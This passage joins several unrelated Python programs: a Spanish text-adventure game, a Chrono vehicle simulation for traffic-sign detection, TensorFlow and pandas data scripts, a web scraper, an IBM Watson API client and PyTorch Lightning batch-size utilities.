            print("2. Buscar un puente cercano.")
            eleccion = input("Elige una opción (1/2): ")

            if eleccion == "1":
                print("\nIntentas cruzar el río a nado, pero la corriente es demasiado fuerte y te arrastra. Game over.")
                break
            elif eleccion == "2":
                print("\nEncuentras un puente cercano y cruzas el río con seguridad.")
                break
            else:
                print("Opción no válida. Elige una opción válida (1/2).")

        print("Del otro lado del río, encuentras una cueva misteriosa. ¿Deseas explorarla?")
        time.sleep(1)

        while True:
            print("\nOpciones:")
            print("1. Entrar en la cueva.")
            print("2. Continuar por el camino.")
            eleccion = input("Elige una opción (1/2): ")

            if eleccion == "1":
                print("\nDentro de la cueva, encuentras tesoros antiguos y una llave secreta, además decides quedarte un tiempo explorándola.")
                time.sleep(1)
                print("Cuando finalmente sales de la cueva, te das cuenta de que ha pasado mucho tiempo.")
                time.sleep(1)
                print("Decides continuar tu aventura con tesoros en tu mochila.")
                inventario.append("Tesoro antiguo")
                inventario.append("Llave Oeste")
                llave_oeste=True
                break
            elif eleccion == "2":
                print("\nDecides continuar por el camino y no entras en la cueva.")
                break
            else:
                print("Opción no válida. Elige una opción válida (1/2).")

        print("Sigues caminando por el bosque y encuentras una bifurcación. Uno de los caminos parece llevar a un pueblo. ¿Qué haces?")
        time.sleep(1)

        while True:
            print("\nOpciones:")
            print("1. Tomar el camino hacia el pueblo.")
            print("2. Tomar el otro camino.")
            eleccion = input("Elige una opción (1/2): ")

            if eleccion == "1":
                print("\nTe diriges hacia el pueblo en busca de ayuda y refugio.")
                time.sleep(1)
                print("La gente del pueblo te da la bienvenida y te ofrece un lugar donde quedarte. Continuarás tu aventura mañana.")
                break
            elif eleccion == "2":
                print("\nOptas por tomar el otro camino, curioso por lo que te deparará.")
                break
            else:
                print("Opción no válida. Elige una opción válida (1/2).")

def camino_este():
    if mostrar_zona==False:
        print("\nLlegaste a un camino empinado y a lo lejos visualizas una colina.")
        time.sleep(1)
    if mostrar_zona==True:
        print("Caminas por ese camino y llegas a la colina.")
        time.sleep(1)
        print("Desde la cima de la colina, ves un pueblo en la distancia.")
        time.sleep(1)
        print("¿Qué haces?")
        time.sleep(1)

        while True:
            print("\nOpciones:")
            print("1. Descender la colina y dirigirte al pueblo.")
            print("2. Explorar la colina en busca de tesoros ocultos.")
            eleccion = input("Elige una opción (1/2): ")

            if eleccion == "1":
                print("\nDeslizas por la colina y te diriges al pueblo en busca de ayuda.")
                time.sleep(1)
                print("La gente del pueblo te da la bienvenida y te ofrece refugio. Continuarás tu aventura mañana.")
                break
            elif eleccion == "2":
                print("\nDecides explorar la colina, pero no encuentras tesoros. Finalmente, te diriges al pueblo.")
                time.sleep(1)
                print("La gente del pueblo te da la bienvenida y te ofrece refugio. Continuarás tu aventura mañana.")
                break
            else:
                print("Opción no válida. Elige una opción válida (1/2).")

def camino_oeste():
    global llave_oeste
    if mostrar_zona==False:
        print("\nObservas una cabaña en la zona...")
        time.sleep(1)
    if mostrar_zona==True:
        print("Te acercas a la cabaña donde observas una pueta secreta.")
        time.sleep(1)
        while True:
            print("\nOpciones:")
            print("1. Intentar abrir la puerta.")
            print("2. Tocar la puerta.")
            eleccion = input("Elige una opción (1/2): ")

            if eleccion == "1":
                print("\nIntentas abrir la puerta.")
                time.sleep(1)
                if llave_oeste==True:
                    print("Abres la puerta con la llave que tienes en tu inventario y observas que no hay nadie.")
                elif llave_oeste==False:
                    print("Intentas abrir la puerta pero notas que está cerrada con llave.")
                    time.sleep(1)
                    print("No pasa nada.")
                break
            elif eleccion == "2":
                print("\nDecides tocar la puerta.")
                time.sleep(1)
                print("No pasa nada.")
                break
            else:
                print("Opción no válida. Elige una opción válida (1/2).")

def camino_inicio():
    if mostrar_zona==False:
        print("\nTe encuentras en el punto de inicio.")
        time.sleep(1)
    if mostrar_zona==True:
        v_gerundio=gerundio[random.randint(0,len(gerundio))-1]
        animal=animales[random.randint(0,len(animales))-1]
        print("Estás "+v_gerundio+" "+animal)
        time.sleep(1)

def camino_lago():
    if mostrar_zona==False:
        print("\nHaz ido por un camino largo.")
        time.sleep(1)
    if mostrar_zona==True:
        print("Objservas la longitud del camino, es muy largo.")
        time.sleep(1)
def camino_desierto():
    if mostrar_zona==False:
        print("\nHas entrado a un desierto.")
        time.sleep(1)
    if mostrar_zona==True:
        print("Tienes mucho calor.")
        time.sleep(1)
def camino_piramide():
    if mostrar_zona==False:
        print("\nHaz encontrado una piramide.")
        time.sleep(1)
    if mostrar_zona==True:
        print("La observas.")
        time.sleep(1)
        print("...")
        time.sleep(1)
        print("No pasa nada.")
        time.sleep(1)
def camino_vista():
    if mostrar_zona==False:
        print("\nHaz encontrado un camino con una hermosa vista.")
        time.sleep(1)
    if mostrar_zona==True:
        print("La vista es muy hermosa.")
        time.sleep(1)
def camino_santuario():
    if mostrar_zona==False:
        print("\nA lo lejos ves un santuario.")
        time.sleep(1)
    if mostrar_zona==True:
        print("Te quedas mirando el santuario pero decides no entrar.")
        time.sleep(1)

def camino_normal():
    if mostrar_zona==False:
        print("\nUn camino normal.")
        time.sleep(1)
    if mostrar_zona==True:
        print("No hay nada interesante :C.")
        time.sleep(1)
        funcion_combate(enemigo_orco)

if __name__ == "__main__":
    while True:

        gerundio= [
        "corrompiendo", "oliendo",
        "moviendo","amordazando","amarrando","mordizqueando",
        "atrayendo", "sacando",
        "aclarando", "venciendo",
        "despertando","extenuando",
        "haciendo","enriqueciendo","pintando",
        "jalando","jalando","besando","observar",
        "filmando","acariciando","llevando a nadar",
        "cocinando", "contrayendo", "perseguiendo", "mordiendo",
        "estacionando", "rompiendo", "partiendo",
        "pintando", "arrancando", "arrojando al foso","yendo a buscar"
        "escuchando","arrastrando","empollando",
        "limpiando", "moviendo", "sintiendo", "dando de comer", "dando apoyo a", "atormentando",
        "combatiendo", "extrangulando","yendo a vender",
        "teniendo", "repartiendo", "asesinando",
        "batiendo", "hechando a la cazuela", "partiendo","venciendo",
        "escogiendo", "recibiendo","acariciando",
        "donando", "excluyendo", "matando","yendo a jalar el cuello a",
        "conteniendo", "hirviendo", "escarbando", "viendo aplaudir",
        "paseando", "comprimiendo", "pelando","sacudiendo",
        "obedeciendo","sacando a pasear"
        ]

        presente=[]
        pasado=[]
        animales = [
        "el camello", "el lobo", "el topo",
        "la liebre", "la pantera", "la gallina",
        "la tarántula",
        "la oveja", "el cerdo", "la iguana",
        "el búfalo", "el gusano", "el mapache",
        "el alce", "el escorpión", "el elefante",
        "el tlacuache", "el venado", "el oso",
        "la araña", "el rinoceronte", "la mula",
        "el orangután", "la rata", "la chita",
        "el avestruz", "el leopardo", "el gorila",
        "la serpiente", "el ganso", "el ratón",
        "el cocodrilo", "el tigre", "la anaconda",
        "el gallo", "la cucaracha", "el caballo",
        "el pingüino", "la cabra", "el jaguar",
        "la vaca", "la víbora", "el castor",
        "la rana", "el canguro", "el hámster",
        "el conejo", "el asno", "la lagartija",
        "el becerro", "el alacrán", "el mandril",
        "el armadillo", "el caimán", "el oso",
        "el camaleón", "la tortuga",
        "el koala", "la ardilla", "la hormiga",
        "el burro", "la jirafa", "el león",
        "el mono", "el chango", "el toro"
        ]

        # Inventario del jugador
        inventario = []
        zonas = [camino_inicio, camino_norte, camino_sur, camino_este, camino_oeste, camino_lago, camino_desierto, camino_piramide, camino_vista, camino_santuario]

        tx=random.randint(100,200)
        ty=random.randint(100,200)
        coordenadas=[[tx,ty]]

        normales=[camino_normal]*random.randint(0,2*len(zonas))

        for camino in normales:
            zonas.append(camino)

        random.shuffle(zonas)

        inicio_indice=zonas.index(camino_inicio)

        for i in range(len(zonas)-1):
            colocado=False
            newcor=[]
            while colocado==False:

                dire=random.randint(0,1)
                if len(coordenadas)>0:
                    ranindice=random.randint(0,len(coordenadas)-1)
                else:
                    ranindice=0
                rancor=coordenadas[ranindice]
                tx=rancor[0]
                ty=rancor[1]

                if dire==0:
                    ex=random.randint(-1,1)
                    tx=tx+ex
                elif dire==1:
                    ey=random.randint(-1,1)
                    ty=ty+ey
                newcor=[tx,ty]
                if not(newcor in coordenadas):
                    colocado=True

            coordenadas.append(newcor)

        min_x = min(coordenada[0] for coordenada in coordenadas)
        min_y = min(coordenada[1] for coordenada in coordenadas)

        coordenadas_a_restar=[min_x,min_y]

        coordenadas = [[nx - coordenadas_a_restar[0], ny - coordenadas_a_restar[1]] for nx, ny in coordenadas]

        inicio_cords=coordenadas[inicio_indice]
        x=inicio_cords[0]
        y=inicio_cords[1]
        terminar=False
        dinero=0
        mostrar_zona=False
        #OBJETOS
        llave_oeste=False
        iniciar_aventura()


# Author: Siddharth Palani Natarajan

# ME 468 - Traffic Sign Detection for Autonomous Vehicle

#########################################################

# =============================================================================
# PROJECT CHRONO - http:#projectchrono.org
#
# Copyright (c) 2014 projectchrono.org
# All right reserved.
#
# Use of this source code is governed by a BSD-style license that can be found
# in the LICENSE file at the top level of the distribution and at
# http:#projectchrono.org/license-chrono.txt.
#
# =============================================================================

import pychrono.core as chrono
import pychrono.vehicle as veh
import pychrono.sensor as sens
import math
import os
import numpy as np
import matplotlib.pyplot as plt
import cv2
import pickle

# =============================================================================

# The path to the Chrono data directory containing various assets (meshes, textures, data files)
# is automatically set, relative to the default location of this demo.
# If running from a different directory, you must change the path to the data directory with:
chrono.SetChronoDataPath(os.getenv("CHRONO_DATA_DIR"))
veh.SetDataPath(chrono.GetChronoDataPath() + 'vehicle/')

# ---------------------
# Simulation parameters
# ---------------------

# Initial vehicle location and orientation
initLoc = chrono.ChVectorD(0, 0, 0.4)
initRot = chrono.ChQuaternionD(1, 0, 0, 0)
finalLoc = chrono.ChVectorD(100, 0, 0.4)
# Visualization type for vehicle parts (PRIMITIVES, MESH, or NONE)
chassis_vis_type = veh.VisualizationType_MESH
suspension_vis_type = veh.VisualizationType_PRIMITIVES
steering_vis_type = veh.VisualizationType_PRIMITIVES
wheel_vis_type = veh.VisualizationType_NONE
tire_vis_type = veh.VisualizationType_MESH

# Simulation step sizes
step_size = 1e-3
tire_step_size = step_size

# Simulation end time
tend = 30

# view camera images
vis = True
save = False
noise = False

# =============================================================================

# =============================================================================
# =============================================================================
# Create signs

def AddFixedObstacles(system) :
    # Create contact material, of appropriate type. Use default properties
    matNSC = chrono.ChMaterialSurfaceNSC()
    matSMC = chrono.ChMaterialSurfaceSMC()
    material = matNSC
    material2 = matSMC

    #########asphalt
    aspha = chrono.ChBodyEasyBox(10000,2,1,0.1,True,False,material2)
    aspha.SetPos(chrono.ChVectorD(0,0,0.0001))
    aspha.SetBodyFixed(True)

    aspha_asset = aspha.GetAssets()[0]
    visual_asset = chrono.CastToChVisualization(aspha_asset)

    vis_mat = chrono.ChVisualMaterial()
    vis_mat.SetKdTexture("/srv/home/yrhee6/ME468/PJ/textures/floor.png")
    visual_asset.material_list.append(vis_mat)

    system.AddBody(aspha)

    #####speed signs 30
    speedsign = chrono.ChBodyEasyCylinder(1, 0.2, 0.1, True, True, material)
    speedsign.SetPos(chrono.ChVectorD(30,-5,5))
    speedsign.SetRot(chrono.Q_from_AngAxis(3.141592/2, chrono.VECT_Z))

    speedsign.SetBodyFixed(True)
    speedsign_asset = speedsign.GetAssets()[0]
    visual_asset = chrono.CastToChVisualization(speedsign_asset)

    vis_mat = chrono.ChVisualMaterial()

    vis_mat.SetKdTexture("/srv/home/yrhee6/ME468/PJ/textures/30.png")
    visual_asset.material_list.append(vis_mat)
    system.AddBody(speedsign)

    #####speed signs 60
    speedsign = chrono.ChBodyEasyCylinder(1, 0.2, 0.1, True, True, material)
    speedsign.SetPos(chrono.ChVectorD(60,-5,5))
    speedsign.SetRot(chrono.Q_from_AngAxis(3.141592/2, chrono.VECT_Z))

    speedsign.SetBodyFixed(True)
    speedsign_asset = speedsign.GetAssets()[0]
    visual_asset = chrono.CastToChVisualization(speedsign_asset)

    vis_mat = chrono.ChVisualMaterial()

    vis_mat.SetKdTexture("/srv/home/yrhee6/ME468/PJ/textures/60.png")
    visual_asset.material_list.append(vis_mat)
    system.AddBody(speedsign)

    #####speed signs 0
    speedsign = chrono.ChBodyEasyCylinder(1, 0.2, 0.1, True, True, material)
    speedsign.SetPos(chrono.ChVectorD(90,-5,5))
    speedsign.SetRot(chrono.Q_from_AngAxis(3.141592/2, chrono.VECT_Z))

    speedsign.SetBodyFixed(True)
    speedsign_asset = speedsign.GetAssets()[0]
    visual_asset = chrono.CastToChVisualization(speedsign_asset)

    vis_mat = chrono.ChVisualMaterial()

    vis_mat.SetKdTexture("/srv/home/yrhee6/ME468/PJ/textures/stop.png")
    visual_asset.material_list.append(vis_mat)
    system.AddBody(speedsign)

print( "Copyright (c) 2017 projectchrono.org\n")

# --------------
# Vehicle System
# --------------

# Create the vehicle, set parameters, and initialize
gator = veh.Gator()
gator.SetContactMethod(chrono.ChContactMethod_NSC)
gator.SetChassisFixed(False)
gator.SetInitPosition(chrono.ChCoordsysD(initLoc, initRot))
gator.SetBrakeType(veh.BrakeType_SHAFTS)
gator.SetTireType(veh.TireModelType_TMEASY)
gator.SetTireStepSize(tire_step_size)
gator.SetInitFwdVel(0.0)
gator.Initialize()

gator.SetChassisVisualizationType(chassis_vis_type)
gator.SetSuspensionVisualizationType(suspension_vis_type)
gator.SetSteeringVisualizationType(steering_vis_type)
gator.SetWheelVisualizationType(wheel_vis_type)
gator.SetTireVisualizationType(tire_vis_type)

# ------------------
# Terrain
# ------------------
terrain = veh.RigidTerrain(gator.GetSystem())
patch_mat = chrono.ChMaterialSurfaceNSC()
patch_mat.SetFriction(0.9)
patch_mat.SetRestitution(0.01)
patch = terrain.AddPatch(patch_mat,
                         chrono.ChVectorD(0, 0, 0), chrono.ChVectorD(0, 0, 1),
                         600, 600)
patch.SetColor(chrono.ChColor(0.8, 0.8, 1.0))
patch.SetTexture(veh.GetDataFile("terrain/textures/tile4.jpg"), 1200, 1200)
terrain.Initialize()

asset = patch.GetGroundBody().GetAssets()[0]
visual_asset = chrono.CastToChVisualization(asset)

vis_mat = chrono.ChVisualMaterial()
vis_mat.SetKdTexture(chrono.GetChronoDataFile("sensor/textures/mud.png"))
vis_mat.SetRoughness(0.99)

visual_asset.material_list.append(vis_mat)

# -----------------------
# Sensor Manager
# -----------------------
manager = sens.ChSensorManager(gator.GetSystem())
intensity = 1.0
manager.scene.AddPointLight(chrono.ChVectorF(0, 0, 100), chrono.ChVectorF(intensity, intensity, intensity), 500.0)
b = sens.Background()
b.mode = sens.BackgroundMode_ENVIRONMENT_MAP
b.env_tex = chrono.GetChronoDataFile("sensor/textures/quarry_01_4k.hdr")
manager.scene.SetBackground(b)

##AddObstacles
AddFixedObstacles(gator.GetSystem())

# ------------------------------------------------
# Camera Sensor
# ------------------------------------------------

offset_pose = chrono.ChFrameD(chrono.ChVectorD(.1, 0, 1.45), chrono.Q_from_AngAxis(.2, chrono.ChVectorD(0, 1, 0)))

# Camera Sensor Parameters
cam_update_rate = 10
image_width = 1280
image_height = 720
fov = 1.5707963268
cam_lag = 0
cam_collection_time = 1. / float(cam_update_rate)

out_dir = "SENSOR_OUTPUT/SENSORS_PY"

cam = sens.ChCameraSensor(
    gator.GetChassisBody(),
    cam_update_rate,
    offset_pose,
    image_width,
    image_height,
    fov
)

cam.SetName("Camera Sensor")
cam.SetLag(cam_lag)
cam.SetCollectionWindow(cam_collection_time)

cam.PushFilter(sens.ChFilterRGBA8Access())
cam.PushFilter(sens.ChFilterSave(out_dir + "/rgb/"))

manager.AddSensor(cam)

# ------------------------------------------------
# GPS Sensor
# ------------------------------------------------

# GPS Sensor Parameters
gps_update_rate = 10
gps_reference = chrono.ChVectorD(-89.400, 43.070, 260.0)
gps_lag = 0
gps_collection_time = 0
noise_none = sens.ChNoiseNone()

offset_pose = chrono.ChFrameD(chrono.ChVectorD(.1, 0, 1.45), chrono.Q_from_AngAxis(.2, chrono.ChVectorD(0, 1, 0)))

gps = sens.ChGPSSensor(
    gator.GetChassisBody(),
    gps_update_rate,
    offset_pose,
    gps_reference,
    noise_none
)

gps.SetName("GPS Sensor")
gps.SetLag(gps_lag)
gps.SetCollectionWindow(gps_collection_time)
gps.PushFilter(sens.ChFilterGPSAccess())

manager.AddSensor(gps)

# ------------------------------------------------------
# Traffic Sign Prediction - Initialsiation and Functions
# ------------------------------------------------------

# #Import Trained
# picklepath = './Trained_model.p'
# pickle_in = open(picklepath, 'rb')
# print('Check1')
# print(pickle_in)
# print('Check2')
# model = pickle.load(pickle_in)

# Probability Threshold
threshold = 0.75

# Labelling Font
font = cv2.FONT_HERSHEY_TRIPLEX

""" Image Processing """

def grayscale(img):
    img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
    return img

def equalize(img):
    img = cv2.equalizeHist(img)
    return img

def preprocessing(img):
    img = grayscale(img)
    img = equalize(img)
    img = img / 255
    return img

def getClassName(classNo):
    if classNo == 1:
        return '30'  # Speed Limit 30 km/hr
    elif classNo == 3:
        return '60'  # Speed Limit 30 km/hr
    elif classNo == 14:
        return '0'  # STOP

#create path follower
path = veh.StraightLinePath(initLoc,finalLoc)
driver = veh.ChPathFollowerDriver(gator.GetVehicle(),path,"mypath",45)
temp =driver.GetSteeringController()
temp.SetLookAheadDistance(5)
temp.SetGains(0.8,0,0)
driver.GetSpeedController().SetGains(0.4,0,0)

driver.Initialize()
# ---------------
# Simulation loop
# ---------------
time = 0.0

while (time < tend) :
    time = gator.GetSystem().GetChTime()

    # Collect output data from modules (for inter-module communication)

    driver_inputs = driver.GetInputs()

    ###This is just to show changing speed works########################
    currentspeed  = driver.GetSpeedController().GetCurrentSpeed()

    if currentspeed >30 and time >tend/4:
        driver_inputs.m_braking = 0.5
        driver_inputs.m_throttle = driver_inputs.m_throttle -0.3
    else:
        driver_intputs = driver.GetInputs()

    terrain.Synchronize(time)
    gator.Synchronize(time, driver_inputs, terrain)
    driver.Synchronize(time)

    manager.Update()

    buffer = cam.GetMostRecentRGBA8Buffer()
    cam_data = buffer.GetRGBA8Data()

    if cam_data.size != 0:
        imgOriginal = cv2.cvtColor(cam_data,cv2.COLOR_BGR2RGB)
        imgOriginal = cv2.rotate(imgOriginal,cv2.ROTATE_180)

    #     # Image Processing
    #     img = np.asarray(imgOriginal)
    #     img = cv2.resize(img, (32, 32))
    #     img = preprocessing(img)
    #     # cv2.imshow("Processed Image", img)
    #     img = img.reshape(1, 32, 32, 1)
    #     cv2.putText(imgOriginal, "Traffic Sign:", (20, 35), font, 0.75, (255, 0, 0), 1, cv2.LINE_AA)
    #     cv2.putText(imgOriginal, "Probability:", (20, 75), font, 0.75, (255, 0, 0), 1, cv2.LINE_AA)

    #     # Image Prediction
    #     predictions = model.predict(img)
    #     classIndex = model.predict_classes(img)
    #     probabilityValue = np.amax(predictions)

    #     if probabilityValue > threshold:
    #         cv2.putText(imgOriginal, str(getClassName(classIndex)), (190, 35), font, 0.75, (255, 0, 0), 1, cv2.LINE_AA)
    #         cv2.putText(imgOriginal, str(round(probabilityValue*100, 2)) + "%", (180, 75), font, 0.75, (255, 0, 0), 1, cv2.LINE_AA)

    #         # ROS2 - To be published to the Perception node for Planning #
    #         vehicle_speed = str(getClassName(classIndex))
    #         print(vehicle_speed)
    #     else:
    #         print(vehicle_speed)

    # Advance simulation for one timestep for all modules
    terrain.Advance(step_size)
    gator.Advance(step_size)
    driver.Advance(step_size)


""" According to 'tuning_labels.csv', she select labeled testing data from 'stage_1_test_images'.

"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import os
import copy
import sys
import csv
import json
import array
import tensorflow as tf
from data_utils import ImageReader

# raw data path
TRAIN_IMAGE_FOLDER_PATH = '../inputs/train'
# contain validation and test
TEST_IMAGE_FOLDER_PATH = '../inputs/stage_1_test_images'
TRAIN_LABEL_CSV_PATH = '../labels/fixed_train_human_labels.csv'
# TRAIN_LABEL_CSV_PATH = '../labels/fixed_train_machine_labels.csv'
VALIDATION_LABEL_CSV_PATH = '../labels/tuning_labels.csv'

# to create `label_to_class.json`
CLASSES_CSV_PATH = '../labels/classes-trainable.csv'
# to create `label_to_class.json`
CLASSES_DES_CSV_PATH = '../labels/class-descriptions.csv'

# output
LABEL_TO_CLASS_PATH = '../inputs/label_to_class.json'
TFRECORD_TRAIN_PATH = '../inputs/train_dataset.tfrecord'
TFRECORD_VALIDATION_PATH = '../inputs/validation_dataset.tfrecord'
TFRECORD_TEST_PATH = '../inputs/test_dataset.tfrecord'

def tally_train_dataset():
    image_reader = ImageReader()
    # get validation filenames/labels by `tuning_labels.csv`
    filenames = os.listdir(TRAIN_IMAGE_FOLDER_PATH)
    max_h = -1
    max_w = -1
    batch_size = 100
    with tf.Session() as sess:
        for i in range(len(filenames)):
            image_data = tf.gfile.FastGFile(os.path.join(
                TRAIN_IMAGE_FOLDER_PATH, filenames[i]), 'rb').read()
            height, width = image_reader.read_image_dims(
                sess, image_data)
            if height > max_h:
                max_h = height
            if width > max_w:
                max_w = width
            if i % 1000 == 0:
                print('{}/{}'.format(i, len(filenames)))
                print(max_h, max_w)

def main():
    tally_train_dataset()

if __name__ == '__main__':
    main()


#!/usr/bin/python3

"""fetches https://alx-intranet.hbt/status"""

import sys
import requests

if __name__ == "__main__":
    url = sys.argv[1]

    r = requests.get(url)
    if r.status_code >= 400:
        print("Error code: {}".format(r.status_code))
    else:
        print(r.text)


from urllib.request import urlopen
from bs4 import BeautifulSoup

#world development indicator: education inputs
url = 'http://wdi.worldbank.org/table/2.7'
html = urlopen(url)

soup = BeautifulSoup(html.read(), 'html.parser')

#existem dois elementos table com class indicators-table (uma no topo, e uma com os dados)
tabela = soup.findAll('table', {'class': 'indicators-table'})[1]

#cria uma lista com todas as linhas (tr) da tabela de dados
linhas = tabela.findAll('tr')

#cria um dicionario vazio de duas dimensoes {'pai': {'investimento':investimento, 'aluno_por_professor':qtde}}
dict = {}
#cria um dicionario vazio {'pais':investimento}
dict_investimento = {}

for linha in linhas:
    #recupera o conteúdo da primeira coluna com a class 'country'
    country = linha.find('td', { 'class' : 'country'}).text

    dict[country] = {}

    investimento = linha.findAll('td')[7].text
    dict[country]['investimento'] = investimento

    aluno_por_professor_pri = linha.findAll('td')[11].text
    dict[country]['alunos_por_professor_primario'] = aluno_por_professor_pri

    investimento_float = investimento
    if investimento_float == '..':
        investimento_float = '0'

    dict_investimento[country] = float(investimento_float)

print('Afghanistan', dict['Afghanistan']['investimento'], dict['Afghanistan']['alunos_por_professor_primario'])
print('Brasil', dict['Brazil']['investimento'], dict['Brazil']['alunos_por_professor_primario'])
print('Suíca', dict['Switzerland']['investimento'], dict['Switzerland']['alunos_por_professor_primario'])
print('Alemanha', dict['Germany']['investimento'], dict['Germany']['alunos_por_professor_primario'])
print('Japão', dict['Japan']['investimento'], dict['Japan']['alunos_por_professor_primario'])
print('Áustria - Investimento {} Qtde alunos por professor {}'.format(dict['Austria']['investimento'], dict['Austria']['alunos_por_professor_primario']))

#ordena os países pelo investimento, em ordem descrescente
paisesOrdenados = sorted(dict_investimento, key=dict_investimento.get, reverse=True)
print('País com maior investimento {}'.format(paisesOrdenados[0]))

#itera a lista ordenada exibindo a posicao ocupada por cada pais
for pais in paisesOrdenados:
    indice = paisesOrdenados.index(pais) + 1
    print(indice, pais)

#exibe a posicao ocupada pelo Brasil
print('Posição ocupada pelo Brasil: ', paisesOrdenados.index('Brazil') + 1)


import requests
import mycommons.mqtt_wrap as mqtt
import mycommons.data_structure as ds
import json

credentials_file = '../credentials/ibm.json'
ibm_service = 'images'
max_images = 1

def init(client:mqtt.MQTTClient):
    with open(credentials_file, 'r') as fin:
        credentials = json.load(fin)[ibm_service]
    client.key = 'apikey:{}'.format(credentials['key'])
    client.instance = credentials['url']

def process_imgs(client:mqtt.MQTTClient, user:ds.User):
    if user.img_topics is not None:
        raise ds.UnableToProcessUser('already completed')

    # get a unique list of images' urls
    images = []
    for act in user.activities:
        images += act.images

    # for each image (until max_images): get info from API
    topics, count = [], 0
    for image in images:
        count += 1
        url = "https://{}@gateway.watsonplatform.net/visual-recognition/api/v3/classify?url={}&version=2018-03-19".format(client.key, image)
        r = requests.get(url)
        res = json.loads(r.content)
        for cl in res['images'][0]['classifiers'][0]['classes']:
            topics.append(cl['class'])
        if count >= max_images:
            break

    # if got no topics, set error, than send
    if len(topics) == 0:
        raise ds.UnableToProcessUser('did not found images')

    return ds.User(img_topics=topics), f"sucessfully called IBM API to compute photos for:{user.id}"

# test API
def main(process_type='ibm_vision', id='0'):
    mqtt.MQTTClient(process_type=process_type, funct=process_imgs, init=init, id=id, type=mqtt.CLASSIFIER)

if __name__ == '__main__':
    main()


'''
for문 돌릴 때 맨 마지막 꺼에서 string index out of range 오류 나는 거 해결하기 위해서 그냥 문자열에 'a' 붙여주기!
'''

for i in range(3):
    s=input()
    #일단 연속해서 나오는 게 있는지 검증
    s+='a'
    max=1
    t=-1
    sum=0
    #연속하는 게 있다. 이제 연속하는 숫자들의 개수를 나열해야 함
    for i in range(8):
        if s[i]==t: #이제 계속 비교를 하는데 t랑 숫자가 같아
            sum+=1    #그러면 sum을 하나씩 더해주기
            if sum>max:
                max=sum #만약에 max보다 커지면 바꿔주기

        if s[i+1]!=s[i] : #내 바로 뒤에꺼가 나랑 달라
            sum=0 #초기화해주고 내 뒤에껄로 가기
            continue
        if s[i+1]==s[i] and sum==0: #내 뒤에꺼랑 같은데 sum은 0이었어
            t=s[i] #그 글자 특정해주기
            sum=1  #이제 시작해줘야 되니까 sum을 1로 시작해주기

    print(max)


import pandas as pd
import os
import numpy as np

###要改的地方###
data_address = "C:/Users/a0985/OneDrive/Desktop/"

def read_data() :
    global data_address
    ###要改的地方###
    data_name = data_address + "test" + ".xlsx"

    origin_df = pd.DataFrame() #儲存原始檔的dataframe

    if os.path.isfile(data_name) : #有此檔案
        ###要改的地方###
        origin_df = pd.read_excel(data_name, sheet_name = '工作表1', header = None) #讀取excel
    else:                          #查無此檔
        print("no data")
        return;
    return origin_df;

def find_average_from_each_peice(each_df, group_size,i) :

    get_avg_df = pd.DataFrame(np.random.randn(10, 1), columns=['group' + str(i)])
    for j in range(10): #跑10個loop,算每等份平均
        tmp_df = each_df.loc[group_size*j:group_size*(j+1) - 1]
        get_avg_df['group' + str(i)][j] = tmp_df.mean()

    return get_avg_df;

def slice_into_ten_peice(origin_df) :
    data_group = len(origin_df.columns) #總共有幾組data

    get_avg_df = pd.DataFrame()
    for i in range(data_group) : #針對每組data做個別處理
        each_df = origin_df.iloc[:, i]
        each_df = each_df.dropna().reset_index(drop=True) #把有nan的列delete
        group_size = int(len(each_df) / 10)
        #print(each_df,group_size)

        #####拿到每等份平均#####
        get_avg_df = find_average_from_each_peice(each_df, group_size,i)

        #####結果儲存#####
        if i == 0 :
            result = get_avg_df
        else :
            result['group' + str(i)] = get_avg_df
        #print(result)
    return result;

def output_to_excel(result) :
    global data_address
    ###要改的地方###
    output_name = data_address + "胖班代" + ".xlsx"
    result.to_excel(output_name)

if __name__ == "__main__" :

    #####獲取原始資料#####
    origin_df = read_data()
    #print(origin_df)

    #####找到每組的平均值#####
    result = slice_into_ten_peice(origin_df)

    #####輸出結果到excel檔#####
    output_to_excel(result)

    print('done')


from typing import Any, List

import lightning.pytorch as pl
from lightning.pytorch.strategies import (DDPStrategy, DeepSpeedStrategy,
                                          SingleDeviceStrategy,
                                          SingleTPUStrategy, Strategy)
from lightning.pytorch.trainer import Trainer

process_independent_strategies: List[Strategy] = [
    DDPStrategy,
    DeepSpeedStrategy,
]
fully_dependent_strategies: List[Strategy] = [SingleDeviceStrategy]

tpu_strategies: List[Strategy] = [SingleTPUStrategy]

supported_strategies: List[Strategy] = (
    process_independent_strategies + fully_dependent_strategies
)

def get_global_batch_size_in_trainer(
    local_batch_size: int,
    trainer: Trainer,
) -> int:
    """Get global batch size used by a trainer based on the local batch size.

    Args:
        local_batch_size: The local batch size used by the trainer.
        trainer: The trainer used.

    Raises:
        AttributeError: The strategy is not supported.

    Returns:
        The global batch size.
    """

    strategy = get_trainer_strategy(trainer)
    devices = trainer.num_devices
    num_nodes = trainer.num_nodes
    if not any(
        [
            isinstance(strategy, supported_strategy)
            for supported_strategy in supported_strategies
        ]
    ):
        raise AttributeError(f"Strategy {strategy} not supported.")
    else:
        if any([isinstance(strategy, tpu_strategy) for tpu_strategy in tpu_strategies]):
            return local_batch_size * devices
        elif any(
            [
                isinstance(strategy, process_independent_strategy)
                for process_independent_strategy in process_independent_strategies
            ]
        ):
            return local_batch_size * devices * num_nodes
        elif any(
            [
                isinstance(strategy, fully_dependent_strategy)
                for fully_dependent_strategy in fully_dependent_strategies
            ]
        ):
            return local_batch_size
        else:
            raise AttributeError(f"Strategy {strategy} not supported.")

def get_local_batch_size_in_trainer(
    global_batch_size: int,
    trainer: Trainer,
) -> int:
    """Get local batch size used by a trainer based on the global batch size.

    Args:
        global_batch_size: The global batch size used by the trainer.
        strategy: The trainer used.

    Raises:
        AttributeError: The strategy is not supported.

    Returns:
        The local batch size.
    """
    strategy = get_trainer_strategy(trainer)
    devices = trainer.num_devices
    num_nodes = trainer.num_nodes
    if not any(
        [
            isinstance(strategy, supported_strategy)
            for supported_strategy in supported_strategies
        ]
    ):
        raise AttributeError(f"Strategy {strategy} not supported.")
    else:
        if any([isinstance(strategy, tpu_strategy) for tpu_strategy in tpu_strategies]):
            return global_batch_size // devices
        elif any(
            [
                isinstance(strategy, process_independent_strategy)
                for process_independent_strategy in process_independent_strategies
            ]
        ):
            return global_batch_size // devices // num_nodes
        elif any(
            [
                isinstance(strategy, fully_dependent_strategy)
                for fully_dependent_strategy in fully_dependent_strategies
            ]
        ):
            return global_batch_size
        else:
            raise AttributeError(f"Strategy {strategy} not supported.")

def get_num_devices_in_trainer(
    trainer: Trainer,
) -> int:
    """Get the number of devices used by the trainer.

    Args:
        trainer: The trainer.

    Raises:
